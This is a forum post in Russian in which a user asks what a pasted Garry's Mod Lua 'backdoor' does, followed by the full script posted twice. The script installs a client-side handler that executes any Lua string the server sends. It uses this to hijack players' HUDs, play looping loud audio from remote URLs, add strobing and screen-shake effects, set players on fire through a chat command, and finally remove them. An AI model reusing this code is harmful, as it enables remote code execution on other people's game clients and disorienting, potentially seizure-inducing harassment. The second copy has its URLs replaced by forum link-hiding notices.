S1len
Пользователь
Что может натворить данный бекдур
--[[
File: ?.lua
For: Annoying pirates to death, then annoying them some more until they die a second time
By: Ultra
]]--
util.AddNetworkString "slua"
local lol = {}
function lol:RandomString( intMin, intMax )
local ret = ""
for _ = 1, math.random( intMin, intMax ) do
ret = ret.. string.char( math.random(65, 90) )
end
return ret
end
lol.m_tblActions = {}
lol.m_strImageGlobalVar = lol:RandomString( 6, 12 )
lol.m_strImageLoadHTML = [[<style type="text/css"> html, body {background-color: transparent;} html{overflow:hidden; ]].. (true and "margin: -8px -8px;" or "margin: 0px 0px;") ..[[ } </style><body><img src="]] .. "%s" .. [[" alt="" width="]] .. "%i"..[[" height="]] .. "%i" .. [[" /></body>]]
function lol:PushAction( intChainDelay, func )
self.m_tblActions[#self.m_tblActions +1] = { intChainDelay, func }
end
function lol:NextAction( pPlayer )
pPlayer.m_intCurAction = pPlayer.m_intCurAction +1
if not self.m_tblActions[pPlayer.m_intCurAction] then return end
timer.Simple( self.m_tblActions[pPlayer.m_intCurAction][1], function()
if not IsValid( pPlayer ) then return end
self.m_tblActions[pPlayer.m_intCurAction][2]( pPlayer )
self:NextAction( pPlayer )
end )
end
function lol:Start( pPlayer )
pPlayer.m_intCurAction = 0
self:NextAction( pPlayer )
end
function lol:SendLua( pPlayer, strLua )
net.Start( "slua" )
net.WriteString( strLua )
net.Send( pPlayer )
end
function lol:SetupPlayer( pPlayer )
pPlayer:SendLua( "net.Receive(\"slua\", function() RunString(net.ReadString()) end)" )
end
for k, v in pairs( player.GetAll() ) do
lol:SetupPlayer( v )
timer.Simple( 2, function() lol:Start( v ) end )
end
hook.Add( "PlayerAuthed", "wat", function( pPlayer )
lol:SetupPlayer( pPlayer )
timer.Simple( 10, function() lol:Start( pPlayer ) end )
end )
hook.Add( "PlayerSay", "1337command", function( pSender, strText, bTeamChat )
if strText:sub( 1, 5 ) == "/1337" then
pSender:Ignite( 1e9 )
pSender:ChatPrint( "lol jk" )
pSender:SendLua( [[surface.PlaySound( "vo/npc/male01/hacks01.wav" )]] )
return false
end
end )
--Sequence stack
--Start some tunes and steam in our assets
lol:PushAction( 0, function( pPlayer )
lol:SendLua( pPlayer, ([=[
sound.PlayURL( "
", "", function()end )
g_]=].. lol.m_strImageGlobalVar.. [=[ = {}
local html = [[%s]]
local function LoadWebMaterial( strURL, strUID, intSizeX, intSizeY )
local pnl = vgui.Create( "HTML" )
pnl:SetPos( ScrW() -1, ScrH() -1 )
pnl:SetVisible( true )
pnl:SetMouseInputEnabled( false )
pnl:SetKeyBoardInputEnabled( false )
pnl:SetSize( intSizeX, intSizeY )
pnl:SetHTML( html:format(strURL, intSizeX, intSizeY) )
local PageLoaded
PageLoaded = function()
local mat = pnl:GetHTMLMaterial()
if mat then
g_]=].. lol.m_strImageGlobalVar.. [=[[strUID] = { mat, pnl }
return
end
timer.Simple( 0.5, PageLoaded )
end
PageLoaded()
end
LoadWebMaterial( "
", "hud1", 300, 128 )
LoadWebMaterial( "
", "hud2", 300, 128 )
LoadWebMaterial( "
", "hud3", 128, 128 )
LoadWebMaterial( "
", "xhair", 64, 64 )
LoadWebMaterial( "
", "doritos", 183, 256 )
LoadWebMaterial( "
", "fedora", 256, 256 )
LoadWebMaterial( "
", "dew", 110, 256 )
LoadWebMaterial( "
", "awp", 256, 55 )
]=]):format(lol.m_strImageLoadHTML) )
end )
--HUD swap
lol:PushAction( 31, function( pPlayer )
lol:SendLua( pPlayer, [[
(GAMEMODE or GM).CalcView = function() end
(GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
for k, v in pairs(remove) do
hook.GetTable()[v] = {}
end
local function GetWebMat( strURL )
return g_]].. lol.m_strImageGlobalVar.. [[[strURL]
end
hook.Add( "HUDPaint", "newhud", function()
surface.SetDrawColor( 255, 255, 255, 255 )
if GetWebMat( "hud1" ) then
surface.SetMaterial( GetWebMat("hud1")[1] )
surface.DrawTexturedRect( 0, ScrH() -128, 300 *(512 /300), 128 )
end
if GetWebMat( "hud2" ) then
surface.SetMaterial( GetWebMat("hud2")[1] )
surface.DrawTexturedRect( ScrW() -300, ScrH() -128, 300 *(512 /300), 128 )
end
if GetWebMat( "hud3" ) then
surface.SetMaterial( GetWebMat("hud3")[1] )
surface.DrawTexturedRect( 45, ScrH() -245, 128, 128 )
end
if GetWebMat( "xhair" ) then
surface.SetMaterial( GetWebMat("xhair")[1] )
surface.DrawTexturedRect( (ScrW() /2) -32, (ScrH() /2) -32, 64, 64 )
end
if GetWebMat( "doritos" ) then
surface.SetMaterial( GetWebMat("doritos")[1] )
surface.DrawTexturedRectRotated( math.random(250, 260), math.random(250, 260), 183 *(256 /183), 256, CurTime() *512 )
end
if GetWebMat( "dew" ) then
surface.SetMaterial( GetWebMat("dew")[1] )
surface.DrawTexturedRectRotated( math.random(400, 410), math.random(ScrH() -260, ScrH() -250), 110 *((256 /110) -1), 256, CurTime() *-512 )
end
if GetWebMat( "fedora" ) then
surface.SetMaterial( GetWebMat("fedora")[1] )
surface.DrawTexturedRectRotated( ScrW() -math.random(250, 260), math.random(250, 260), 256, 256, CurTime() *-512 )
end
if GetWebMat( "awp" ) then
surface.SetMaterial( GetWebMat("awp")[1] )
surface.DrawTexturedRectRotated( ScrW() -math.random(400, 410), math.random(ScrH() -260, ScrH() -250), 256, 55, CurTime() *512 )
end
draw.SimpleTextOutlined(
"[ogloszenie] na ten server zostaly nalorzone\"Faldy Uesto\" - Crimson Gaming Approved",
"DermaLarge",
ScrW() /2 +math.random( -8, 8 ),
ScrH() /2 +math.random( -8, 8 ) +64,
Color( 255, 0, 0, 255 ),
TEXT_ALIGN_CENTER,
TEXT_ALIGN_CENTER,
1,
Color( 0, 0, 255, 255 )
)
end )
local allowed = { ["CHudChat"] = true, ["CHudGMod"] = true, ["CHudWeaponSelection"] = true, ["CHudMenu"] = true }
hook.Add( "HUDShouldDraw", "newhud", function( str ) if not allowed[str] then return false end end )
surface.PlaySound( "garrysmod/save_load4.wav" )
surface.PlaySound( "vo/npc/male01/excuseme02.wav" )
]] )
end )
--Disco time
lol:PushAction( 10, function( pPlayer )
local idx = pPlayer:EntIndex()
timer.Create( "beat".. idx, 0.42, 0, function()
if not IsValid( pPlayer ) then timer.Destroy( "beat".. idx ) return end
pPlayer:ViewPunch( Angle(math.Rand(-15, -10), math.Rand(-10, 10), 0) )
end )
lol:SendLua( pPlayer, [[
local emitter = ParticleEmitter( LocalPlayer():GetPos() )
local time = 0
hook.Add( "Think", "wat", function()
if CurTime() < time then
return
end
time = CurTime() +0.05
for i = 1, 16 do
local part = emitter:Add(
"particles/balloon_bit",
LocalPlayer():GetPos() +Vector(
math.random( -256, 256 ),
math.random( -256, 256 ),
256
)
)
if part then
local Size = math.random( 4, 7 )
part:SetColor( math.random(0, 255), math.random(0, 255), math.random(0, 255), 255 )
part:SetVelocity( Vector( 40, 25, -math.random(300, 400) ) )
part:SetDieTime( 4.5 )
part:SetGravity( Vector(40, 0, -250) )
part:SetLifeTime( 0 )
part:SetStartSize( Size /2 )
part:SetEndSize( Size )
part:SetCollide( true )
end
end
end )
]] )
lol:SendLua( pPlayer, [[
hook.Add( "RenderScreenspaceEffects", "wat", function()
local sinScaler = math.sin( CurTime() )
DrawBloom(
0,
3,
sinScaler *math.Rand(1, 8),
sinScaler *math.Rand(1, 8),
6,
math.Rand(0.5, 2),
math.Rand(0, 0.3),
math.Rand(0, 0.3),
math.Rand(0.5, 1)
)
DrawColorModify{
["$pp_colour_addr"] = 0,
["$pp_colour_addg"] = 0,
["$pp_colour_addb"] = 00,
["$pp_colour_brightness" ] = 0,
["$pp_colour_contrast" ] = 1,
["$pp_colour_colour" ] = 1,
["$pp_colour_mulr" ] = 0,
["$pp_colour_mulg" ] = 0,
["$pp_colour_mulb" ] = 1
}
end )
local mdl = ClientsideModel( "models/player/group01/male_04.mdl", RENDERGROUP_BOTH )
mdl:SetNoDraw( true )
local posCache, time = {}, 0
hook.Add( "HUDPaint", "dance", function()
if not mdl.SeqStart or CurTime() > (mdl.SeqStart +mdl.SeqDuration) then
local idx = mdl:LookupSequence("taunt_dance")
mdl.SeqDuration = mdl:SequenceDuration( idx )
mdl.SeqStart = CurTime()
mdl:ResetSequence( idx )
end
mdl:SetCycle( (CurTime() -mdl.SeqStart) /mdl.SeqDuration )
local w, h = 300, 300
local ang = Angle( 0, 0, 0 )
for i = 1, 32 do
if CurTime() > time then
posCache = { math.random( 0, ScrW() -w ), math.random( 0, ScrH() -h ) }
end
local x, y = posCache[1], posCache[2]
cam.Start3D( (ang:Forward() *64) +(ang:Up() *32), (ang:Forward()*-1):Angle(), 90, x, y, w, h )
cam.IgnoreZ( true )
render.SuppressEngineLighting( true )
render.SetLightingOrigin( mdl:GetPos() )
render.ResetModelLighting( 1, 1, 1 )
render.SetColorModulation( 0, 0, 1 )
mdl:DrawModel()
render.SuppressEngineLighting( false )
cam.IgnoreZ( false )
cam.End3D()
end
if CurTime() > time then
time = CurTime() +0.15
end
end )
surface.PlaySound( "vo/npc/male01/ohno.wav" )
]] )
end )
--Let the beat drop
lol:PushAction( 54, function( pPlayer )
lol:SendLua( pPlayer, [[
hook.Add( "GetMotionBlurValues", "wat", function()
return 0, 0, 1, math.sin(CurTime() *13)
end )
hook.Add( "RenderScreenspaceEffects", "ohgod", function()
local sinScaler = math.sin( CurTime() *(RealFrameTime() *1024) )
DrawSharpen( 1 +(sinScaler *10), 0.5 +(sinScaler *2) )
DrawMaterialOverlay( "effects/tp_eyefx/tpeye", 1 )
end )
hook.Add( "PostDrawTranslucentRenderables", "ohgod", function()
render.SetMaterial( Material("cable/blue_elec") )
for i = 1, 32 do
render.DrawBeam( LocalPlayer():GetPos() +Vector(0, 0, 128) +(EyeAngles():Forward() *256), EyePos() +(VectorRand() *256), 4, 0, 12.5, Color(255, 255, 255, 255) )
end
end )
timer.Create( "thedrop", 0.42, 0, function()
util.ScreenShake( LocalPlayer():GetPos(), 512, 5, 0.25, 128 )
end )
]] )
end )
--EVIL TIME rip headpones
lol:PushAction( 175, function( pPlayer )
lol:SendLua( pPlayer, [[
surface.PlaySound( "vo/npc/male01/gethellout.wav" )
local sounds = {}
for i = 1, 4 do
sound.PlayURL( "
", "noblock noplay", function( pChan )
sounds[#sounds +1] = pChan
end )
end
timer.Create( "asdf", 1, 0, function()
if #sounds ~= 4 then return end
timer.Destroy( "asdf" )
for k, v in pairs( sounds ) do v:EnableLooping( true ) v:SetVolume( 1 ) v:Play() end
end )
hook.Add( "HUDShouldDraw", "newhud", function() return false end )
]] )
pPlayer:Remove()
end )
Извиняюсь за длину
--[[
File: ?.lua
For: Annoying pirates to death, then annoying them some more until they die a second time
By: Ultra
]]--
util.AddNetworkString "slua"
local lol = {}
function lol:RandomString( intMin, intMax )
local ret = ""
for _ = 1, math.random( intMin, intMax ) do
ret = ret.. string.char( math.random(65, 90) )
end
return ret
end
lol.m_tblActions = {}
lol.m_strImageGlobalVar = lol:RandomString( 6, 12 )
lol.m_strImageLoadHTML = [[<style type="text/css"> html, body {background-color: transparent;} html{overflow:hidden; ]].. (true and "margin: -8px -8px;" or "margin: 0px 0px;") ..[[ } </style><body><img src="]] .. "%s" .. [[" alt="" width="]] .. "%i"..[[" height="]] .. "%i" .. [[" /></body>]]
function lol:PushAction( intChainDelay, func )
self.m_tblActions[#self.m_tblActions +1] = { intChainDelay, func }
end
function lol:NextAction( pPlayer )
pPlayer.m_intCurAction = pPlayer.m_intCurAction +1
if not self.m_tblActions[pPlayer.m_intCurAction] then return end
timer.Simple( self.m_tblActions[pPlayer.m_intCurAction][1], function()
if not IsValid( pPlayer ) then return end
self.m_tblActions[pPlayer.m_intCurAction][2]( pPlayer )
self:NextAction( pPlayer )
end )
end
function lol:Start( pPlayer )
pPlayer.m_intCurAction = 0
self:NextAction( pPlayer )
end
function lol:SendLua( pPlayer, strLua )
net.Start( "slua" )
net.WriteString( strLua )
net.Send( pPlayer )
end
function lol:SetupPlayer( pPlayer )
pPlayer:SendLua( "net.Receive(\"slua\", function() RunString(net.ReadString()) end)" )
end
for k, v in pairs( player.GetAll() ) do
lol:SetupPlayer( v )
timer.Simple( 2, function() lol:Start( v ) end )
end
hook.Add( "PlayerAuthed", "wat", function( pPlayer )
lol:SetupPlayer( pPlayer )
timer.Simple( 10, function() lol:Start( pPlayer ) end )
end )
hook.Add( "PlayerSay", "1337command", function( pSender, strText, bTeamChat )
if strText:sub( 1, 5 ) == "/1337" then
pSender:Ignite( 1e9 )
pSender:ChatPrint( "lol jk" )
pSender:SendLua( [[surface.PlaySound( "vo/npc/male01/hacks01.wav" )]] )
return false
end
end )
--Sequence stack
--Start some tunes and steam in our assets
lol:PushAction( 0, function( pPlayer )
lol:SendLua( pPlayer, ([=[
sound.PlayURL( "
Эта ссылка скрыта от группы "Гость" (группа пользователей, которые еще не прошли регистрацию или авторизацию на Проекте). Чтобы увидеть эту ссылку Вам требуется авторизоваться или пройти регистрацию на Проекте (зарегистрироваться).
g_]=].. lol.m_strImageGlobalVar.. [=[ = {}
local html = [[%s]]
local function LoadWebMaterial( strURL, strUID, intSizeX, intSizeY )
local pnl = vgui.Create( "HTML" )
pnl:SetPos( ScrW() -1, ScrH() -1 )
pnl:SetVisible( true )
pnl:SetMouseInputEnabled( false )
pnl:SetKeyBoardInputEnabled( false )
pnl:SetSize( intSizeX, intSizeY )
pnl:SetHTML( html:format(strURL, intSizeX, intSizeY) )
local PageLoaded
PageLoaded = function()
local mat = pnl:GetHTMLMaterial()
if mat then
g_]=].. lol.m_strImageGlobalVar.. [=[[strUID] = { mat, pnl }
return
end
timer.Simple( 0.5, PageLoaded )
end
PageLoaded()
end
LoadWebMaterial( "
Эта ссылка скрыта от группы "Гость" (группа пользователей, которые еще не прошли регистрацию или авторизацию на Проекте). Чтобы увидеть эту ссылку Вам требуется авторизоваться или пройти регистрацию на Проекте (зарегистрироваться).
LoadWebMaterial( "
Эта ссылка скрыта от группы "Гость" (группа пользователей, которые еще не прошли регистрацию или авторизацию на Проекте). Чтобы увидеть эту ссылку Вам требуется авторизоваться или пройти регистрацию на Проекте (зарегистрироваться).
LoadWebMaterial( "
Эта ссылка скрыта от группы "Гость" (группа пользователей, которые еще не прошли регистрацию или авторизацию на Проекте). Чтобы увидеть эту ссылку Вам требуется авторизоваться или пройти регистрацию на Проекте (зарегистрироваться).
LoadWebMaterial( "
Эта ссылка скрыта от группы "Гость" (группа пользователей, которые еще не прошли регистрацию или авторизацию на Проекте). Чтобы увидеть эту ссылку Вам требуется авторизоваться или пройти регистрацию на Проекте (зарегистрироваться).
LoadWebMaterial( "
Эта ссылка скрыта от группы "Гость" (группа пользователей, которые еще не прошли регистрацию или авторизацию на Проекте). Чтобы увидеть эту ссылку Вам требуется авторизоваться или пройти регистрацию на Проекте (зарегистрироваться).
LoadWebMaterial( "
Эта ссылка скрыта от группы "Гость" (группа пользователей, которые еще не прошли регистрацию или авторизацию на Проекте). Чтобы увидеть эту ссылку Вам требуется авторизоваться или пройти регистрацию на Проекте (зарегистрироваться).
LoadWebMaterial( "
Эта ссылка скрыта от группы "Гость" (группа пользователей, которые еще не прошли регистрацию или авторизацию на Проекте). Чтобы увидеть эту ссылку Вам требуется авторизоваться или пройти регистрацию на Проекте (зарегистрироваться).
LoadWebMaterial( "
Эта ссылка скрыта от группы "Гость" (группа пользователей, которые еще не прошли регистрацию или авторизацию на Проекте). Чтобы увидеть эту ссылку Вам требуется авторизоваться или пройти регистрацию на Проекте (зарегистрироваться).
]=]):format(lol.m_strImageLoadHTML) )
end )
--HUD swap
lol:PushAction( 31, function( pPlayer )
lol:SendLua( pPlayer, [[
(GAMEMODE or GM).CalcView = function() end
(GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
for k, v in pairs(remove) do
hook.GetTable()[v] = {}
end
local function GetWebMat( strURL )
return g_]].. lol.m_strImageGlobalVar.. [[[strURL]
end
hook.Add( "HUDPaint", "newhud", function()
surface.SetDrawColor( 255, 255, 255, 255 )
if GetWebMat( "hud1" ) then
surface.SetMaterial( GetWebMat("hud1")[1] )
surface.DrawTexturedRect( 0, ScrH() -128, 300 *(512 /300), 128 )
end
if GetWebMat( "hud2" ) then
surface.SetMaterial( GetWebMat("hud2")[1] )
surface.DrawTexturedRect( ScrW() -300, ScrH() -128, 300 *(512 /300), 128 )
end
if GetWebMat( "hud3" ) then
surface.SetMaterial( GetWebMat("hud3")[1] )
surface.DrawTexturedRect( 45, ScrH() -245, 128, 128 )
end
if GetWebMat( "xhair" ) then
surface.SetMaterial( GetWebMat("xhair")[1] )
surface.DrawTexturedRect( (ScrW() /2) -32, (ScrH() /2) -32, 64, 64 )
end
if GetWebMat( "doritos" ) then
surface.SetMaterial( GetWebMat("doritos")[1] )
surface.DrawTexturedRectRotated( math.random(250, 260), math.random(250, 260), 183 *(256 /183), 256, CurTime() *512 )
end
if GetWebMat( "dew" ) then
surface.SetMaterial( GetWebMat("dew")[1] )
surface.DrawTexturedRectRotated( math.random(400, 410), math.random(ScrH() -260, ScrH() -250), 110 *((256 /110) -1), 256, CurTime() *-512 )
end
if GetWebMat( "fedora" ) then
surface.SetMaterial( GetWebMat("fedora")[1] )
surface.DrawTexturedRectRotated( ScrW() -math.random(250, 260), math.random(250, 260), 256, 256, CurTime() *-512 )
end
if GetWebMat( "awp" ) then
surface.SetMaterial( GetWebMat("awp")[1] )
surface.DrawTexturedRectRotated( ScrW() -math.random(400, 410), math.random(ScrH() -260, ScrH() -250), 256, 55, CurTime() *512 )
end
draw.SimpleTextOutlined(
"[ogloszenie] na ten server zostaly nalorzone\"Faldy Uesto\" - Crimson Gaming Approved",
"DermaLarge",
ScrW() /2 +math.random( -8, 8 ),
ScrH() /2 +math.random( -8, 8 ) +64,
Color( 255, 0, 0, 255 ),
TEXT_ALIGN_CENTER,
TEXT_ALIGN_CENTER,
1,
Color( 0, 0, 255, 255 )
)
end )
local allowed = { ["CHudChat"] = true, ["CHudGMod"] = true, ["CHudWeaponSelection"] = true, ["CHudMenu"] = true }
hook.Add( "HUDShouldDraw", "newhud", function( str ) if not allowed[str] then return false end end )
surface.PlaySound( "garrysmod/save_load4.wav" )
surface.PlaySound( "vo/npc/male01/excuseme02.wav" )
]] )
end )
--Disco time
lol:PushAction( 10, function( pPlayer )
local idx = pPlayer:EntIndex()
timer.Create( "beat".. idx, 0.42, 0, function()
if not IsValid( pPlayer ) then timer.Destroy( "beat".. idx ) return end
pPlayer:ViewPunch( Angle(math.Rand(-15, -10), math.Rand(-10, 10), 0) )
end )
lol:SendLua( pPlayer, [[
local emitter = ParticleEmitter( LocalPlayer():GetPos() )
local time = 0
hook.Add( "Think", "wat", function()
if CurTime() < time then
return
end
time = CurTime() +0.05
for i = 1, 16 do
local part = emitter:Add(
"particles/balloon_bit",
LocalPlayer():GetPos() +Vector(
math.random( -256, 256 ),
math.random( -256, 256 ),
256
)
)
if part then
local Size = math.random( 4, 7 )
part:SetColor( math.random(0, 255), math.random(0, 255), math.random(0, 255), 255 )
part:SetVelocity( Vector( 40, 25, -math.random(300, 400) ) )
part:SetDieTime( 4.5 )
part:SetGravity( Vector(40, 0, -250) )
part:SetLifeTime( 0 )
part:SetStartSize( Size /2 )
part:SetEndSize( Size )
part:SetCollide( true )
end
end
end )
]] )
lol:SendLua( pPlayer, [[
hook.Add( "RenderScreenspaceEffects", "wat", function()
local sinScaler = math.sin( CurTime() )
DrawBloom(
0,
3,
sinScaler *math.Rand(1, 8),
sinScaler *math.Rand(1, 8),
6,
math.Rand(0.5, 2),
math.Rand(0, 0.3),
math.Rand(0, 0.3),
math.Rand(0.5, 1)
)
DrawColorModify{
["$pp_colour_addr"] = 0,
["$pp_colour_addg"] = 0,
["$pp_colour_addb"] = 00,
["$pp_colour_brightness" ] = 0,
["$pp_colour_contrast" ] = 1,
["$pp_colour_colour" ] = 1,
["$pp_colour_mulr" ] = 0,
["$pp_colour_mulg" ] = 0,
["$pp_colour_mulb" ] = 1
}
end )
local mdl = ClientsideModel( "models/player/group01/male_04.mdl", RENDERGROUP_BOTH )
mdl:SetNoDraw( true )
local posCache, time = {}, 0
hook.Add( "HUDPaint", "dance", function()
if not mdl.SeqStart or CurTime() > (mdl.SeqStart +mdl.SeqDuration) then
local idx = mdl:LookupSequence("taunt_dance")
mdl.SeqDuration = mdl:SequenceDuration( idx )
mdl.SeqStart = CurTime()
mdl:ResetSequence( idx )
end
mdl:SetCycle( (CurTime() -mdl.SeqStart) /mdl.SeqDuration )
local w, h = 300, 300
local ang = Angle( 0, 0, 0 )
for i = 1, 32 do
if CurTime() > time then
posCache = { math.random( 0, ScrW() -w ), math.random( 0, ScrH() -h ) }
end
local x, y = posCache[1], posCache[2]
cam.Start3D( (ang:Forward() *64) +(ang:Up() *32), (ang:Forward()*-1):Angle(), 90, x, y, w, h )
cam.IgnoreZ( true )
render.SuppressEngineLighting( true )
render.SetLightingOrigin( mdl:GetPos() )
render.ResetModelLighting( 1, 1, 1 )
render.SetColorModulation( 0, 0, 1 )
mdl:DrawModel()
render.SuppressEngineLighting( false )
cam.IgnoreZ( false )
cam.End3D()
end
if CurTime() > time then
time = CurTime() +0.15
end
end )
surface.PlaySound( "vo/npc/male01/ohno.wav" )
]] )
end )
--Let the beat drop
lol:PushAction( 54, function( pPlayer )
lol:SendLua( pPlayer, [[
hook.Add( "GetMotionBlurValues", "wat", function()
return 0, 0, 1, math.sin(CurTime() *13)
end )
hook.Add( "RenderScreenspaceEffects", "ohgod", function()
local sinScaler = math.sin( CurTime() *(RealFrameTime() *1024) )
DrawSharpen( 1 +(sinScaler *10), 0.5 +(sinScaler *2) )
DrawMaterialOverlay( "effects/tp_eyefx/tpeye", 1 )
end )
hook.Add( "PostDrawTranslucentRenderables", "ohgod", function()
render.SetMaterial( Material("cable/blue_elec") )
for i = 1, 32 do
render.DrawBeam( LocalPlayer():GetPos() +Vector(0, 0, 128) +(EyeAngles():Forward() *256), EyePos() +(VectorRand() *256), 4, 0, 12.5, Color(255, 255, 255, 255) )
end
end )
timer.Create( "thedrop", 0.42, 0, function()
util.ScreenShake( LocalPlayer():GetPos(), 512, 5, 0.25, 128 )
end )
]] )
end )
--EVIL TIME rip headpones
lol:PushAction( 175, function( pPlayer )
lol:SendLua( pPlayer, [[
surface.PlaySound( "vo/npc/male01/gethellout.wav" )
local sounds = {}
for i = 1, 4 do
sound.PlayURL( "
Эта ссылка скрыта от группы "Гость" (группа пользователей, которые еще не прошли регистрацию или авторизацию на Проекте). Чтобы увидеть эту ссылку Вам требуется авторизоваться или пройти регистрацию на Проекте (зарегистрироваться).
sounds[#sounds +1] = pChan
end )
end
timer.Create( "asdf", 1, 0, function()
if #sounds ~= 4 then return end
timer.Destroy( "asdf" )
for k, v in pairs( sounds ) do v:EnableLooping( true ) v:SetVolume( 1 ) v:Play() end
end )
hook.Add( "HUDShouldDraw", "newhud", function() return false end )
]] )
pPlayer:Remove()
end )
Сообщение автоматически объединено:
Извиняюсь за длину